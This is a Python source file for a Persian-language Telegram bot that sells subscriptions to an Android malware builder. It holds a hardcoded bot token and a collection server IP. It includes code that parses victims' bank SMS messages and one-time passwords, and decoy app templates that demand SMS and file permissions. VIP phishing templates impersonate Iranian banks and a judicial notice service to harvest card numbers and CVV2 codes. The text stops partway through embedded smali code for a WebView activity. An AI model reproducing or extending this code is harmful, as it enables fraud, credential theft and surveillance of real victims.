# -*- coding: utf-8 -*- #
"""
═════════════════════════════════════════════════════════════════════
╔█████  ╗██████╗██   ╗██ ╗██████╗████████        
║██══╔██╗██══╔██║██   ║██╗██══╔██╝══╔██══╚        
║███████╝╔██████║██   ║██╝╔██████   ║██           
║██══╔██║██══╔██║██   ║██╗██══╔██   ║██           
║██  ║██║██  ║██╝╔██████╚║██  ║██   ║██           
╝═╚  ╝═╚╝═╚  ╝═╚ ╝═════╚ ╝═╚  ╝═╚   ╝═╚           
«Flashlight» Telegram Robot                     
═════════════════════════════════════════════════════════════════════
Version: 3.0.7 (Edited)
Builder: Flashlight
Support: @POLO_IR
═════════════════════════════════════════════════════════════════════
"""
import os
import sys
import json
import re
import time
import uuid
import random
import string
import shutil
import zipfile
import logging
import hashlib
import base64
import threading
import subprocess
import tempfile
import asyncio
from pathlib import Path
from datetime import datetime, timedelta
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from html import escape as html_escape
import requests
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Application, CommandHandler, CallbackQueryHandler, MessageHandler, ContextTypes, filters, JobQueue
from telegram.constants import ParseMode
from telegram.error import TelegramError, NetworkError, TimedOut

# ==================== CONFIG ==================== #
BOT_TOKEN = "8974158471:AAGr_j8CnLtogKOqZ7n9rX0g5KPzI92lNjI"
ADMIN_ID = 8831078772
SUPPORT_ID = "@POLO_IR"
BRAND = "Flashlight"
BOT_NAME = "Flashlight"

# ⚠⚠⚠ مهم: آدرس عمومی سرور خودت را اینجا بنویس (IP یا دامنه) ⚠⚠⚠
# مثال: SERVER_HOST = "1.2.3.4"
# مثال: SERVER_HOST = "hosseinatak.ir"
# اگر این خالی باشه، ساخت APK با خطا متوقف می‌شه
SERVER_HOST = "190.2.143.208"

DATA_SERVER_PORT = 8045
DB_FILE = "trx_database.json"
DOWNLOADS_DIR = "downloads"
BUILDS_DIR = "apks"
BACKUPS_DIR = "backups"
LOG_LIMIT = 500
MAX_SMS_KEEP = 50
HTTP_TIMEOUT = 35
HEARTBEAT_OFFLINE_SEC = 30
MAX_TARGETS_DEFAULT = 5
MAX_BUILDS_PER_DAY = 10
REQ_CHANNEL_LOCK = False
REQ_CHANNEL_ID = ""
VIP_CAPTCHA = "12534"
DAILY_STATS_NOTIFY = True
PRICE_NORMAL_WEEK = 20
PRICE_VIP_WEEK = 40

# Anti-spam settings
SPAM_WINDOW = 60
SPAM_LIMIT = 10
SPAM_BLOCK_DURATION = 4 * 3600

# ==================== TELEGRAM LIBRARY ADAPTER ==================== #
HAS_V20 = True

async def safe_reply_text(update, text, keyboard=None, parse=ParseMode.HTML):
    try:
        if update.message:
            return await update.message.reply_text(text, reply_markup=keyboard, parse_mode=parse)
        elif update.callback_query:
            return await update.callback_query.message.reply_text(text, reply_markup=keyboard, parse_mode=parse)
    except (NetworkError, TimedOut):
        await _send_with_retry(update, text, keyboard, parse)
    except Exception:
        pass

async def _send_with_retry(update, text, keyboard, parse, retries=3):
    for i in range(retries):
        try:
            if update.message:
                return await update.message.reply_text(text, reply_markup=keyboard, parse_mode=parse)
            elif update.callback_query:
                return await update.callback_query.message.reply_text(text, reply_markup=keyboard, parse_mode=parse)
        except Exception:
            await asyncio.sleep(2 * (i + 1))
    return None

async def safe_answer(update, text=None):
    try:
        if update.callback_query:
            await update.callback_query.answer(text=text)
    except Exception:
        pass

async def async_send(app, chat_id, text, keyboard=None, parse=ParseMode.HTML, document_path=None):
    if not app:
        return
    for attempt in range(3):
        try:
            if document_path:
                with open(document_path, "rb") as f:
                    await app.bot.send_document(chat_id=chat_id, document=f, caption=text, parse_mode=parse, reply_markup=keyboard)
            else:
                await app.bot.send_message(chat_id=chat_id, text=text, parse_mode=parse, reply_markup=keyboard)
            return
        except (NetworkError, TimedOut):
            await asyncio.sleep(2 * (attempt + 1))
        except TelegramError:
            return
        except Exception:
            return

def run_coro(func_coro):
    try:
        loop = asyncio.get_event_loop_policy().get_event_loop()
    except RuntimeError:
        loop = None
    if loop and loop.is_running():
        asyncio.run_coroutine_threadsafe(func_coro, loop)
    else:
        try:
            asyncio.run(func_coro)
        except Exception:
            try:
                new_loop = asyncio.new_event_loop()
                asyncio.set_event_loop(new_loop)
                new_loop.run_until_complete(func_coro)
            except Exception:
                pass

def esc(text):
    if text is None:
        return ""
    return html_escape(str(text))

# ==================== JALALI CALENDAR ==================== #
_g_months = ["فروردین", "اردیبهشت", "خرداد", "تیر", "مرداد", "شهریور", "مهر", "آبان", "آذر", "دی", "بهمن", "اسفند"]

def gregorian_to_jalali(gy, gm, gd):
    g_d_m = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334]
    if gm > 2:
        gy2 = gy + 1
    else:
        gy2 = gy
    days = 355666 + (365 * gy) + ((gy2 + 3) // 4) - ((gy2 + 99) // 100) + gd + g_d_m[gm - 1] + ((gy2 + 399) // 400)
    jy = -1595 + (33 * ((days // 12053)))
    days %= 12053
    jy += 4 * (days // 1461)
    days %= 1461
    if days > 365:
        jy += (days - 1) // 365
        days = (days - 1) % 365
    if days < 186:
        jm = 1 + (days // 31)
        jd = 1 + (days % 31)
    else:
        jm = 7 + ((days - 186) // 30)
        jd = 1 + ((days - 186) % 30)
    return jy, jm, jd

def jalali_str(ts=None):
    if ts is None:
        ts = time.time()
    try:
        t = datetime.fromtimestamp(int(ts))
    except Exception:
        t = datetime.now()
    jy, jm, jd = gregorian_to_jalali(t.year, t.month, t.day)
    return "{} {} {} - {:02d}:{:02d}".format(jd, _g_months[jm - 1], jy, t.hour, t.minute)

def jalali_date_only(ts=None):
    if ts is None:
        ts = time.time()
    try:
        t = datetime.fromtimestamp(int(ts))
    except Exception:
        t = datetime.now()
    jy, jm, jd = gregorian_to_jalali(t.year, t.month, t.day)
    return "{} {} {}".format(jd, _g_months[jm - 1], jy)

def days_ago_persian(ts):
    if not ts:
        return "نامشخص"
    diff = time.time() - float(ts)
    if diff < 60:
        return "لحظاتی پیش"
    if diff < 3600:
        return "{} دقیقه پیش".format(int(diff // 60))
    if diff < 86400:
        return "{} ساعت پیش".format(int(diff // 3600))
    return "{} روز پیش".format(int(diff // 86400))

# ==================== BANK PREFIXES ==================== #
BANK_PREFIXES = {
    "603799": "بانک ملی ایران",
    "610433": "بانک ملت",
    "621986": "بانک سامان",
    "627884": "بانک پارسیان",
    "622106": "بانک پارسیان",
    "621346": "بانک سامان",
    "639347": "بانک پاسارگاد",
    "502229": "بانک پاسارگاد",
    "622134": "بانک پارسیان",
    "502908": "بانک توسعه صادرات",
    "627412": "بانک اقتصاد نوین",
    "628023": "بانک تجارت",
    "627648": "بانک توسعه صادرات",
    "207177": "بانک توسعه صادرات",
    "603770": "بانک کشاورزی",
    "502806": "بانک شهر",
    "636949": "بانک ایران زمین",
    "505416": "بانک قرض الحسنه",
    "618768": "بانک سینا",
    "639217": "بانک کشاورزی",
    "627353": "بانک انصار",
    "636795": "بانک مرکزی",
    "505426": "بانک قرض الحسنه",
    "502938": "بانک دی",
    "606373": "بانک ملل",
    "505785": "بانک ایران زمین",
    "639346": "بانک سینا",
    "627381": "بانک انصار",
    "504172": "بانک رسالت",
    "627488": "بانک کارآفرین",
    "502829": "بانک شهر",
    "502910": "بانک کارآفرین",
    "502010": "پاسارگاد",
    "626244": "هوشمندی",
    "628157": "بانک تجارت",
    "639370": "بانک آینده",
    "639607": "بانک سرمایه",
    "606256": "بانک ملل",
    "502916": "مهر اقتصاد",
    "504706": "شرکت کارت اعتباری",
    "627418": "بانک آینده",
    "585983": "بانک سپه",
    "622421": "پی به لوان",
    "603769": "صنعت و معدن",
    "991975": "ملت پیشتخ",
}

SMS_BANK_KEYWORDS = ["پرداخت", "انتقال", "کارت به کارت", "شارژ", "برداشت", "مبلغ", "رمز", "خرید", "مانده", "اعتباری", "مصرف", "حساب", "بانک", "تراکنش", "واریز", "پوچ", "کسر", "بلید"]

BANK_SENDERS = ["سامان", "پاسارگاد", "کشاورزی", "سپه", "صادرات", "تجارت", "ملت", "ملی", "شهر", "کارآفرین", "اقتصاد", "دی", "انصار", "آینده", "پارسیان", "سینا", "زمین ایران", "سرمایه", "رسالت", "قرض"]

def detect_bank_from_card(card_number):
    card = re.sub(r"\D", "", str(card_number))
    if len(card) >= 6:
        pref = card[:6]
        if pref in BANK_PREFIXES:
            return BANK_PREFIXES[pref]
    return "نامشخص"

def is_bank_sms(body, sender=""):
    txt = str(body or "")
    snd = str(sender or "")
    for kw in SMS_BANK_KEYWORDS:
        if kw in txt:
            return True
    if re.search(r"\d{1,3}[,.]?\d{3}", txt) and any(w in txt for w in ["مبلغ", "تومان", "ریال"]):
        return True
    if re.match(r"^(500\d|700\d|2000|20000|3000|1000\d)", snd.replace("+98", "0")):
        return True
    return False

def format_card_grouped(card_number):
    d = re.sub(r"\D", "", str(card_number))
    return " ".join([d[i:i + 4] for i in range(0, len(d), 4)])

def parse_sms_transaction(body):
    result = {"amount": None, "type": "نامشخص", "bank": "نامشخص"}
    txt = str(body or "")
    for b in ["سامان", "پاسارگاد", "کشاورزی", "سپه", "صادرات", "تجارت", "ملت", "ملی", "سینا", "رسالت", "شهر", "کارآفرین", "اقتصاد", "دی", "انصار", "آینده", "پارسیان"]:
        if b in txt:
            result["bank"] = "بانک " + b
            break
    m = re.search(r"([\d,]+)\s*(تومان|ریال|ر ریال)?", txt)
    if m:
        try:
            result["amount"] = m.group(1).replace(",", "")
            result["type"] = "تراکنش"
        except Exception:
            pass
    if "رمز" in txt:
        result["type"] = "رمز یکبار مصرف"
    elif "برداشت" in txt:
        result["type"] = "برداشت"
    elif "انتقال" in txt or "واریز" in txt:
        result["type"] = "انتقال/واریز"
    elif "شارژ" in txt:
        result["type"] = "شارژ"
    return result

# ==================== DATABASE ==================== #
DB_LOCK = threading.RLock()
DATABASE = {"users": {}, "targets": {}, "banners": {}, "settings": {}, "logs": [], "build_history": {}, "daily_stats": {}, "stats": {"total_builds": 0, "total_sms": 0, "total_photos": 0, "total_cards": 0}}

DEFAULT_BANNERS = {
    "main": "🎉 خوش آمدید به ربات TRX!\nمحبوب ترین سیستم ساخت برنامه اختصاصی",
    "build": "🔨 ساخت برنامه جدید\nلطفاً قالب مورد نظر خود را انتخاب کنید",
    "vip": "👑 بخش قالب های VIP\nقالب های بانکی و تبلیغاتی با کیفیت بی نظیر",
    "targets": "🎯 لیست هدف های من\nوضعیت لحظه ای با شما",
    "help": "📘 راهنمای جامع ربات TRX"
}

def db_save():
    with DB_LOCK:
        try:
            tmp = DB_FILE + ".tmp"
            with open(tmp, "w", encoding="utf-8") as f:
                json.dump(DATABASE, f, ensure_ascii=False, indent=1)
            shutil.move(tmp, DB_FILE)
        except Exception as e:
            log_event("ERROR", "خطا در ذخیره دیتابیس: " + str(e))

def db_load():
    global DATABASE
    fresh = {"users": {}, "targets": {}, "banners": dict(DEFAULT_BANNERS), "settings": {}, "logs": [], "build_history": {}, "daily_stats": {}, "stats": {"total_builds": 0, "total_sms": 0, "total_photos": 0, "total_cards": 0}}
    if not os.path.exists(DB_FILE):
        DATABASE = fresh
        db_save()
        return
    try:
        with open(DB_FILE, "r", encoding="utf-8") as f:
            DATABASE = json.load(f)
        for k, v in fresh.items():
            if k not in DATABASE:
                DATABASE[k] = v
        for k, v in DEFAULT_BANNERS.items():
            if k not in DATABASE["banners"]:
                DATABASE["banners"][k] = v
        return
    except Exception as e:
        log_event("ERROR", "دیتابیس خراب — تلاش برای بازسازی: " + str(e))
        if os.path.exists(BACKUPS_DIR):
            backups = sorted(Path(BACKUPS_DIR).glob("db_backup_*.json"))
            if backups:
                try:
                    last = backups[-1]
                    with open(last, "r", encoding="utf-8") as f:
                        DATABASE = json.load(f)
                    log_event("WARN", "بازسازی از بکاپ: " + str(last))
                    return
                except Exception:
                    pass
        DATABASE = fresh
        db_save()

def db_backup():
    try:
        os.makedirs(BACKUPS_DIR, exist_ok=True)
        name = os.path.join(BACKUPS_DIR, "db_backup_" + datetime.now().strftime("%Y%m%d_%H%M%S") + ".json")
        shutil.copy2(DB_FILE, name)
        backups = sorted(Path(BACKUPS_DIR).glob("db_backup_*.json"))
        while len(backups) > 10:
            os.remove(str(backups.pop(0)))
        return name
    except Exception as e:
        log_event("ERROR", "خطای بکاپ: " + str(e))
        return None

def log_event(level, message):
    try:
        with DB_LOCK:
            entry = {"level": level, "time": time.time(), "msg": str(message)[:400]}
            DATABASE.setdefault("logs", []).append(entry)
            if len(DATABASE["logs"]) > LOG_LIMIT:
                DATABASE["logs"] = DATABASE["logs"][-LOG_LIMIT:]
            db_save()
    except Exception:
        pass
    print("[{}] {} — {}".format(level, jalali_str(), message))

def ensure_user(user_id, username="", first_name=""):
    uid = str(user_id)
    with DB_LOCK:
        if uid not in DATABASE["users"]:
            DATABASE["users"][uid] = {
                "id": uid,
                "username": username or "",
                "first": first_name or "",
                "normal_until": 0,
                "vip_until": 0,
                "banned": False,
                "joined": time.time(),
                "builds": [],
                "settings": {"notify_sms": False, "notify_sms_bank": True, "notify_photo": True, "notify_connect": True, "quiet_start": None, "quiet_end": None},
                "builds_today": {"date": jalali_date_only(), "count": 0}
            }
            db_save()
        else:
            u = DATABASE["users"][uid]
            if username and u.get("username") != username:
                u["username"] = username
                db_save()
            if first_name and u.get("first") != first_name:
                u["first"] = first_name
                db_save()
        return DATABASE["users"][uid]

def get_user(user_id):
    return DATABASE["users"].get(str(user_id))

def is_vip(user):
    try:
        return float(user.get("vip_until", 0)) > time.time()
    except Exception:
        return False

def is_normal(user):
    try:
        return float(user.get("normal_until", 0)) > time.time()
    except Exception:
        return False

def has_any_sub(user):
    return is_normal(user) or is_vip(user)

def sub_days_left(user):
    now = time.time()
    n = max(0, (float(user.get("normal_until", 0)) - now) / 86400)
    v = max(0, (float(user.get("vip_until", 0)) - now) / 86400)
    return int(max(n, v)) if max(n, v) > 0 else 0

def add_subscription(uid, days, vip=False):
    key = "vip_until" if vip else "normal_until"
    u = get_user(uid)
    if not u:
        return 0
    with DB_LOCK:
        current = float(u.get(key, 0))
        if current < time.time():
            current = time.time()
        u[key] = current + (days * 86400)
        db_save()
    return u[key]

def remove_subscription(uid, days, vip=False):
    key = "vip_until" if vip else "normal_until"
    u = get_user(uid)
    if not u:
        return
    with DB_LOCK:
        current = float(u.get(key, 0))
        u[key] = max(0, current - (days * 86400))
        db_save()

def progress_bar(user):
    days = sub_days_left(user)
    if days <= 0:
        return "🔴 اشتراک فعال ندارید"
    filled = min(10, days // 6 + 1)
    bar = " 🟩 " * filled + " ⬜ " * (10 - filled)
    if days > 30:
        color = " 🟢 "
    elif days > 7:
        color = " 🟡 "
    else:
        color = " 🔴 "
    return "[{}] {} روز {} باقی مانده".format(color, bar, days)

def bump_daily(user, key, amount=1):
    today = jalali_date_only()
    ds = DATABASE.setdefault("daily_stats", {})
    if today not in ds:
        ds[today] = {"new_users": 0, "builds": 0, "sms": 0, "cards": 0, "new_targets": 0, "photos": 0}
    ds[today][key] = ds[today].get(key, 0) + amount

# ==================== TEMPLATES ==================== #
TEMPLATES = {}

def register_template(tid, name, emoji, desc, color, color_dark, pages, behavior):
    TEMPLATES[tid] = {
        "id": tid,
        "name": name,
        "emoji": emoji,
        "desc": desc,
        "color": color,
        "color_dark": color_dark,
        "pages": pages,
        "behavior": behavior
    }

register_template(
    "photo_recovery", "بازیابی عکس های حذف شده", " 🖼 ",
    "برنامه ای برای بازیابی عکس و ویدیوهای حذف شده با یک کلیک",
    "#4CAF50", "#2E7D32",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#4CAF50;padding:20px;text-align:center'><h1>🖼 بازیابی عکس</h1><p>بازیابی عکس های حذف شده خود را بازگردانید</p><button style='background:#FFC107;color:#000;padding:12px 30px;border-radius:25px'>شروع اسکن 🔍</button></div>"},
        {"title": "در حال اسکن", "layout": "<div style='background:#2E7D32;padding:20px'><h3>⏳ در حال اسکن حافظه...</h3><div style='background:#ddd;height:20px'><div style='background:#4CAF50;width:65%;height:20px'></div></div><p>۵۴ فایل پیدا شد</p></div>"},
        {"title": "نتیجه", "layout": "<div style='background:#fff;padding:15px'><h3>✅ ۳۲۱ عکس قابل بازیابی</h3><button style='background:#4CAF50;color:#fff;padding:10px;width:100%'>بازیابی همه ♻</button></div>"}
    ],
    "برنامه از پس زمینه اسکن ساختگی اجرا می کند و عکس های قابل بازیابی را نشان می دهد، نیاز به دسترسی به فایل ها و پیامک دارد"
)

register_template(
    "video_hub", "فروشگاه فیلم", " 🎬 ",
    "اپلیکیشن تماشای فیلم و کلیپ های جذاب با دسته بندی کامل",
    "#E91E63", "#880E4F",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#E91E63;padding:20px'><h1>🎬 فیلم باز</h1><p>جدیدترین فیلم ها و سریال ها</p><div style='padding:10px'>🔥 پر بازدید امروز<br>⭐ امتیاز بالا<br>🆕 تازه اضافه شده</div></div>"},
        {"title": "دسته بندی", "layout": "<div style='padding:15px'><h3>📂 دسته بندی</h3><div>🎬 ایرانی | 🌍 خارجی | 🎭 سریال | 📚 انیمیشن</div></div>"}
    ],
    "کاربر در صفحه اصلی لیست فیلم های جذاب را می بیند؛ برنامه برای پخش، فایل ها و پیامک را درخواست می کند (برای خرید اشتراک داخل برنامه)"
)

register_template(
    "gov_services", "خدمات دولتی هوشمند", " 🏛 ",
    "ثبت نام و استعلام خدمات دولتی، بیمه و مالیات در یک اپ",
    "#1565C0", "#0D47A1",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#1565C0;padding:20px;text-align:center'><h1>🏛 خدمات دولت</h1><p>سامانه یکپارچه خدمات دولتی</p><div style='padding:10px;background:#E3F2FD'>🪪 کارت ملی هوشمند<br>📝 ثبت نام خدمات<br>🚗 خلافی خودرو<br>📋 استعلام وضعیت</div></div>"}
    ],
    "ظاهراً دقیقاً مشابه سامانه های دولتی است؛ برای استعلام نیاز به شماره موبایل دارد و پیامک های مجاز را دریافت می کند"
)

register_template(
    "bank_normal", "همراه بانک", " 💳 ",
    "اپ همراه بانک با استعلام موجودی و کارت به کارت",
    "#00695C", "#004D40",
    [
        {"title": "ورود", "layout": "<div style='background:#00695C;padding:25px;text-align:center'><h1>💳 همراه بانک</h1><input placeholder='شماره موبایل'><button style='background:#FFC107;width:100%;padding:10px'>دریافت کد</button></div>"}
    ],
    "برنامه برای ورود به همراه بانک درخواست دسترسی به فایل ها و (برای دریافت کد تأیید) پیامک می دهد؛ سپس صفحه چک نمایی فقط"
)

register_template(
    "cleaner", "پاکساز گوشی", " 🧹 ",
    "پاکسازی و بهینه سازی حافظه گوشی با یک لمس",
    "#FF9800", "#E65100",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:linear-gradient(#FF9800,#E65100);text-align:center;padding:30px'><div style='font-size:60px'> 🧹 </div><h2>۴.۲ گیگ قابل پاکسازی</h2><button style='background:#fff;color:#E65100;padding:15px 40px;border-radius:30px'>پاکسازی 🚀</button></div>"}
    ],
    "برنامه از پس زمینه اسکن ساختگی، لیست فایل های قابل حذف را نشان می دهد؛ برای عملیات نیاز به دسترسی به فایل ها و پیامک (تأیید) است"
)

register_template(
    "parent_control", "کنترل فرزند", " 󰔧 ",
    "مدیریت و نظارت بر گوشی فرزند توسط والدین",
    "#5E35B1", "#311B92",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#5E35B1;padding:20px'><h1>󰔧 کنترل والدین</h1><p>اطمینان از ایمنی فرزند شما</p><div style='padding:10px'>📱 اپ های استفاده شده<br>📍 موقعیت لحظه ای<br>📞 گزارش تماس ها<br>⏰ محدودیت زمان استفاده</div></div>"}
    ],
    "برنامه مجوزهای مکانی، مخاطبین و تماس ها را می گیرد و والد می تواند وضعیت فرزند را ببیند"
)

register_template(
    "free_vpn", "VPN رایگان", " 🛡 ",
    "اتصال رایگان و پرسرعت به سرورهای ایران و خارج",
    "#00BCD4", "#006064",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#00BCD4;text-align:center;padding:40px'><div style='font-size:70px'> 🛡 </div><h2>VPN رایگان</h2><button style='background:#fff;color:#006064;padding:15px 50px;border-radius:40px'>اتصال 🔌</button></div>"}
    ],
    "برنامه برای اتصال VPN مجوز مصرف، نمایش آمار و پیامک را درخواست می کند"
)

register_template(
    "photo_editor", "ویرایشگر عکس", " 🎨 ",
    "ابزار حرفه ای برای ویرایش عکس با فیلترهای زیبا",
    "#7C4DFF", "#4527A0",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#7C4DFF;padding:20px;text-align:center'><h1>🎨 ویرایشگر عکس</h1><button>انتخاب عکس 📷</button><button>فیلترها ✨</button></div>"}
    ],
    "برنامه برای ویرایش عکس ها نیاز به دسترسی به فایل ها و پیامک دارد (برای اشتراک پریمیوم)"
)

register_template(
    "fun_games", "بازی و سرگرمی", " 🎮 ",
    "مجموعه بازی های جذاب و رقابتی با امتیاز",
    "#F44336", "#B71C1C",
    [
        {"title": "لیست بازی", "layout": "<div style='background:#F44336;padding:15px'><h1>🎮 بازی خونه</h1><div style='padding:10px'>🐍 مار | 🏃 دونه | 🧩 پازل | 🎯 تیرانداز</div></div>"}
    ],
    "برنامه کاملاً کار می کند؛ بازی ها برای ثبت امتیاز و جام، نیاز به دسترسی به پیامک و فایل ها است"
)

register_template(
    "news", "اخبار روز", " 📰 ",
    "آخرین اخبار ایران و جهان لحظه ای",
    "#455A64", "#263238",
    [
        {"title": "صفحه خبر", "layout": "<div style='background:#455A64;padding:15px;color:#fff'><h1>📰 اخبار</h1><div style='padding:10px'>🔥 فوری ...<br>💼 اقتصاد<br>⚽ ورزش<br>🗳 سیاست</div></div>"}
    ],
    "برنامه اخبار را نمایش می دهد؛ برای یادآوری/عضویت ویژه و پیامک درخواست می کند"
)

register_template(
    "translator", "مترجم گر آنی", " 🌐 ",
    "ترجمه فوری متن بین ۴۰ زبان زنده دنیا",
    "#3F51B5", "#1A237E",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#3F51B5;padding:20px'><h1>🌐 مترجم گر</h1><textarea placeholder='متن را وارد کنید'></textarea><button style='background:#FFC107;padding:10px;width:100%'>ترجمه 🔄</button></div>"}
    ],
    "برنامه کاملاً واقعی کار می کند؛ ترجمه برای نسخه آفلاین و فرهنگ لغت، فایل و پیامک درخواست می شود"
)

register_template(
    "notes", "یادداشت و یادآور", " 📝 ",
    "یادداشت برداری هوشمند با تقویم شمسی و یادآور",
    "#00897B", "#004D40",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#00897B;padding:15px'><h1>📝 یادداشت ها</h1><div style='padding:10px'>➕ یادداشت جدید<br>⏰ یادآورها<br>📅 تقویم</div></div>"}
    ],
    "یادداشت ها ذخیره می شوند؛ برای پشتیبانی خودکار و یادآوری، پیامک و فایل دسترسی گرفته می شود"
)

register_template(
    "video_downloader", "دانلودر ویدیو", " ⬇ ",
    "دانلود ویدیو از اینستاگرام، تلگرام، تیک تاک و ...",
    "#E91E63", "#880E4F",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#E91E63;padding:20px'><h1>⬇ دانلودر</h1><input placeholder='لینک را بچسبانید'><button>دانلود 📥</button></div>"}
    ],
    "دانلود واقعی انجام می شود؛ برای ذخیره در گالری، دسترسی به فایل ها و پیامک برای تکمیل اعلان لازم است"
)

register_template(
    "music_player", "پلیر موزیک", " 🎵 ",
    "پخش کننده موزیک با اکولایزر و تنظیمات صدا",
    "#9C27B0", "#4A148C",
    [
        {"title": "در حال پخش", "layout": "<div style='background:#9C27B0;padding:25px;text-align:center;color:#fff'><div style='font-size:60px'> 🎵 </div><h3>نام آهنگ</h3><div> ◀ ▶ ⏭ </div><div> Vol: ══════ </div></div>"}
    ],
    "پخش واقعی موزیک از حافظه؛ برای لیست پلی ها، دسترسی به فایل و پیامک برای خرید آهنگ گرفته می شود"
)

register_template(
    "calc", "ماشین حساب پیشرفته", " 🔢 ",
    "ماشین حساب علمی + تبدیل واحد + درصد",
    "#37474F", "#102027",
    [
        {"title": "صفحه اصلی", "layout": "<div style='background:#102027;padding:15px;color:#fff'><h3 style='margin:0'>🔢 ماشین حساب</h3><div style='background:#000;color:#0f0;padding:15px;text-align:right;font-size:20px'>0</div><button>7 8 9 ÷</button><button>4 5 6 ×</button><button>1 2 3 -</button><button>0 . = +</button></div>"}
    ],
    "محاسبات کاملاً واقعی؛ برای تبدیل واحد ارزی با نرخ روز، نیاز به دسترسی به اینترنت و پیامک است"
)

# ==================== VIP TEMPLATES ==================== #
VIP_TEMPLATES = {}

def register_vip(tid, name, emoji, desc, color, paygate_text, pages, behavior):
    VIP_TEMPLATES[tid] = {
        "id": tid,
        "name": name,
        "emoji": emoji,
        "desc": desc,
        "color": color,
        "paygate_text": paygate_text,
        "pages": pages,
        "behavior": behavior
    }

register_vip(
    "eblagh", "ابلاغیه قضائی", "⚖ ",
    "دریافت ابلاغیه های قضائی از سامانه رسمی",
    "#1B5E20",
    "برای مشاهده ابلاغیه، مبلغ ۵,۰۰۰ تومان هزینه ثبت را پرداخت کنید:",
    [
        {"title": "صفحه ابلاغیه", "layout": "<div style='background:#1B5E20;padding:20px;text-align:center'><h2>سامانه الکترونیکی ابلاغ قضائی</h2><p>استعلام و مشاهده ابلاغیه های قضائی</p><div><input placeholder='کد ملی'></div></div>"},
        {"title": "درگاه پرداخت", "layout": "<div style='background:#fff'><h3 style='color:#1B5E20'>پرداخت ۵,۰۰۰ تومان</h3><div>مبلغ: ۵,۰۰۰ تومان</div><input placeholder='شماره کارت ۱۶ رقمی'><input placeholder='MM/YY'><input placeholder='CVV2'><input placeholder='کد کپچا'><button style='background:#43A047;color:#fff'>پرداخت</button></div>"}
    ],
    "هدف برای دیدن ابلاغیه وارد صفحه رسمی کاملاً درگاه پرداخت با کپچای ساده باز می شود، اطلاعات کارت ثبت و سپس ابلاغیه نمایش داده می شود"
)

_vip_banks = [
    ("bank_melli", "بانک ملی ایران", " 🏦 ", "#C62828"),
    ("bank_saderat", "بانک صادرات", " 🏦 ", "#0277BD"),
    ("bank_keshavarzi", "بانک کشاورزی", " 🌾 ", "#F9A825"),
    ("bank_tejarat", "بانک تجارت", " 🏦 ", "#00695C"),
    ("bank_pasargad", "بانک پاسارگاد", " 🏦 ", "#F57F17"),
    ("bank_mellat", "بانک ملت", " 🏦 ", "#D84315"),
    ("bank_saman", "بانک سامان", " 🏦 ", "#00838F"),
    ("bank_parsian", "بانک پارسیان", " 🏦 ", "#1565C0"),
    ("bank_sepah", "بانک سپه", " 🏦 ", "#4E342E"),
    ("bank_ayandeh", "بانک آینده", " 🏦 ", "#6A1B9A"),
]

for _bid, _bname, _bemoji, _bcolor in _vip_banks:
    register_vip(
        _bid, "همراه بانک " + _bname, _bemoji,
        "فعال سازی خدمات بانکداری همراه با " + _bname,
        _bcolor,
        "برای فعال سازی همراه بانک " + _bname + " مبلغ ۵,۰۰۰ تومان پرداخت را کنید:",
        [
            {"title": "صفحه اصلی", "layout": "<div style='background:{};padding:25px;text-align:center;color:#fff'><h1>{} {}</h1><p>خدمات بانکداری همراه</p><input placeholder='شماره موبایل'><button style='background:#fff;color:#333;padding:10px 40px;border-radius:5px'>فعال سازی</button></div>".format(_bcolor, _bemoji, _bname)},
            {"title": "درگاه پرداخت", "layout": "<div style='background:#fff;padding:15px'><h3 style='color:{}'>درگاه پرداخت {}</h3><div>مبلغ: ۵,۰۰۰ تومان</div><br><input placeholder='شماره کارت'><input placeholder='انقضا'><input placeholder='CVV2'><button style='background:{};color:#fff'>پرداخت</button></div>".format(_bcolor, _bname, _bcolor)}
        ],
        "هدف وارد صفحه بانک می شود، اطلاعات کارت ثبت و سپس پیام موفقیت نمایش داده می شود (درگاه رسمی با ۵ هزار تومان)"
    )

def template_by_key(key):
    if key in VIP_TEMPLATES:
        return VIP_TEMPLATES[key], True
    if key in TEMPLATES:
        return TEMPLATES[key], False
    return None, False

# ==================== APK BUILDER ==================== #

# ========== SMALI: TrxActivity (WebView + Permissions) ==========
SMALI_ACTIVITY = r'''.class public Lcom/trx/shell/TrxActivity;
.super Landroid/app/Activity;
.source "TrxActivity.java"


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Landroid/app/Activity;-><init>()V

    return-void
.end method


# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
    .locals 5

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    const/4 v0, 0x0

    invoke-virtual {p0, v0}, Lcom/trx/shell/TrxActivity;->requestAllPermissionsIfNeeded(Z)V

    new-instance v0, Landroid/webkit/WebView;

    invoke-direct {v0, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V

    invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;

    move-result-object v1

    const/4 v2, 0x1

    invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V

    invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setDomStorageEnabled(Z)V

    invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setAllowFileAccess(Z)V

    invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setAllowFileAccessFromFileURLs(Z)V

    invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setAllowUniversalAccessFromFileURLs(Z)V

    new-instance v2, Landroid/webkit/WebViewClient;

    invoke-direct {v2}, Landroid/webkit/WebViewClient;-><init>()V

    invoke-virtual {v0, v2}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V

    invoke-virtual {p0, v0}, Lcom/trx/shell/TrxActivity;->setContentView(Landroid/view/View;)V

    const-string v2, "file:///android_asset/index.html"

